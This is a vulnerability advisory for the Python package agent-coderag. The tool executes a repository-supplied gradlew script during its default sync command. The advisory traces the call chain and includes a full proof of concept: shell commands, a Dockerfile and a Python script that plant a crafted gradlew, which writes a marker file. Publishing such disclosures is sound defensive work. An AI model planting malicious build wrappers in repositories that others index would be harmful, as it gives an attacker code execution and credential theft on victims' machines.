PT-2026-53331 · Pypi · Agent-Coderag

Publicado

2026-06-19

·

Atualizado

2026-06-19

CVSS v3.1

8.6

Alta

VetorAV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

Summary

agent-coderag unconditionally executes a repository-controlled gradlew script during its default sync dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing build.gradle and a crafted gradlew) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default agent-coderag sync <path> invocation.

Details

The vulnerability exists across a four-step call chain in the sync command:
1. Entry point — code rag/entry/cli.py:70
python
await manager.sync dependencies(args.path or ".")
sync dependencies() is called unconditionally before indexing. There is no opt-in flag; any agent-coderag sync invocation triggers dependency discovery.
2. Gradle project detection — code rag/core/manager.py:40-47
The presence of a build.gradle or build.gradle.kts file in the target directory is sufficient to invoke sync gradle(). No additional checks are performed.
3. Wrapper selection — code rag/core/manager.py:110-113
python
gradle wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle bin: Optional[str] = None
if gradle wrapper.exists():
  gradle bin = str(gradle wrapper.resolve())
else:
  gradle bin = shutil.which("gradle")
When a repository-local gradlew exists, it is unconditionally preferred over the system-installed gradle. No content validation, signature check, or integrity verification is performed on this file.
4. Execution sink — code rag/core/manager.py:152-158
python
process = await asyncio.create subprocess exec(
  gradle bin,
  "-q",
  "--init-script",
  str(init script),
  "printCodeRagCP",
  cwd=str(root),
  ...
)
The attacker-controlled gradlew is executed directly via asyncio.create subprocess exec() with the repository root as the working directory. validate path (code rag/core/utils.py:7-71) only constrains the path location (directory boundary), not the content or nature of the executed binary.
The complete data flow: cli.py:277 (path input) → cli.py:313-314 (sync cmd) → cli.py:62 (validate path) → cli.py:70 (sync dependencies) → manager.py:40-47 ( sync gradle) → manager.py:110-113 (wrapper selection) → manager.py:152-158 (execution sink).

PoC

Environment setup:
bash
python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0

rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil
Build the malicious repository:
bash
# Trigger sync gradle() detection
printf 'plugins { id "java" }
' > /tmp/acr-evil/build.gradle

# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh
printf CODERAG RCE SUCCESS > /tmp/agent-coderag-poc-marker
exit 0
' 
  > /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew
Trigger the vulnerability (victim action):
bash
agent-coderag --db /tmp/acr.db sync /tmp/acr-evil
Verify exploitation:
bash
cat /tmp/agent-coderag-poc-marker
# Expected output: CODERAG RCE SUCCESS
Docker-based reproduction (as confirmed in Phase 2):
bash
# Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .

# Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001
Phase 2 dynamic reproduction confirmed the following output:
[*] Evil repo created at /tmp/acr-evil-i560afcg
  build.gradle : 22 bytes
  gradlew   : 275 bytes (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
    Marker file : /tmp/acr-poc-marker
    Contents  : 'CODERAG RCE SUCCESS'
    The malicious gradlew was executed by agent-coderag during sync.

Impact

This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs agent-coderag sync against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.
Typical impacted scenarios include:
  • A developer cloning an untrusted repository and running agent-coderag sync to index it for AI-assisted code analysis.
  • A CI/CD pipeline that automatically indexes pull-request branches containing a crafted gradlew.
  • Any tooling or script that passes arbitrary paths to agent-coderag sync without user oversight.
Because the vulnerable component (agent-coderag) is a code-indexing tool intended to read repositories, victims have no expectation that indexing will execute files within the repository. This trust-boundary violation (reflected in the CVSS S:C — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.

Reproduction artifacts

Dockerfile

dockerfile
FROM python:3.11-slim

LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends 
  && rm -rf /var/lib/apt/lists/*

# Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/

# Copy PoC script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python
"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution

Vulnerability:
  agent-coderag `sync` command calls sync dependencies() unconditionally.
  When the target directory contains a build.gradle file, sync gradle() is triggered.
   sync gradle() prefers a repository-local ./gradlew over the system gradle binary.
  The repository-controlled gradlew is executed via asyncio.create subprocess exec()
  without any content validation, enabling arbitrary code execution.

Data flow (source → sink):
  cli.py:70 → manager.sync dependencies()
  manager.py:46 → sync gradle()
  manager.py:112-113 → gradle bin = str(gradle wrapper.resolve()) [untrusted file]
  manager.py:152-158 → asyncio.create subprocess exec(gradle bin, ...) [sink]

Expected outcome:
  The malicious gradlew writes a marker to /tmp/acr-poc-marker.
  If that file contains "CODERAG RCE SUCCESS", the exploit is confirmed.
"""

import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path


MARKER PATH = "/tmp/acr-poc-marker"
DB PATH = "/tmp/acr-poc.db"

MALICIOUS GRADLEW = """
#!/bin/sh
# Malicious gradlew: writes a proof-of-exploitation marker and simulates
# enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG RCE SUCCESS' > /tmp/acr-poc-marker
# Output a fake empty classpath so the tool does not log an error
exit 0
"""

BUILD GRADLE = "plugins { id 'java' }
"


def setup evil repo(directory: str) -> None:
  """Create a minimal attacker-controlled Gradle repository."""
  repo path = Path(directory)
  repo path.mkdir(parents=True, exist ok=True)

  # build.gradle triggers sync gradle() in manager.py:46
  (repo path / "build.gradle").write text(BUILD GRADLE)

  # gradlew will be executed by manager.py:152 instead of system gradle
  gradlew = repo path / "gradlew"
  gradlew.write text(MALICIOUS GRADLEW)
  gradlew.chmod(gradlew.stat().st mode | stat.S IEXEC | stat.S IXGRP | stat.S IXOTH)

  print(f"[*] Evil repo created at {directory}")
  print(f"  build.gradle : {(repo path / 'build.gradle').stat().st size} bytes")
  print(f"  gradlew   : {gradlew.stat().st size} bytes (executable={os.access(gradlew, os.X OK)})")


def run agent coderag(evil repo: str) -> subprocess.CompletedProcess:
  """Invoke agent-coderag sync against the malicious repository."""
  cmd = ["agent-coderag", "--db", DB PATH, "sync", evil repo]
  print(f"[*] Running: {' '.join(cmd)}")
  result = subprocess.run(cmd, capture output=True, text=True, timeout=60)
  return result


def check marker() -> str | None:
  """Return the marker content if it was written by the malicious gradlew."""
  try:
    return Path(MARKER PATH).read text()
  except FileNotFoundError:
    return None


def main() -> int:
  # Clean up any leftovers from a previous run
  for path in (MARKER PATH, DB PATH):
    if os.path.exists(path):
      os.remove(path)

  evil repo = tempfile.mkdtemp(prefix="acr-evil-")
  try:
    # Step 1 — build the attacker-controlled repository
    setup evil repo(evil repo)

    # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)
    result = run agent coderag(evil repo)
    print(f"[*] agent-coderag exit code : {result.returncode}")
    if result.stdout:
      print(f"[*] stdout:
{result.stdout.rstrip()}")
    if result.stderr:
      print(f"[*] stderr:
{result.stderr.rstrip()}")

    # Step 3 — verify the marker was written by the malicious gradlew
    marker content = check marker()
    if marker content and "CODERAG RCE SUCCESS" in marker content:
      print("
[PASS] Exploit confirmed.")
      print(f"    Marker file : {MARKER PATH}")
      print(f"    Contents  : {marker content!r}")
      print("    The malicious gradlew was executed by agent-coderag during sync.")
      return 0
    else:
      print("
[FAIL] Marker file not found or does not contain the expected string.")
      print(f"    Expected : 'CODERAG RCE SUCCESS'")
      print(f"    Got   : {marker content!r}")
      return 1
  finally:
    shutil.rmtree(evil repo, ignore errors=True)


if  name  == " main ":
  sys.exit(main())

Correção

OS Command Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-WG5P-8H9P-3MR7

Produtos afetados

Agent-Coderag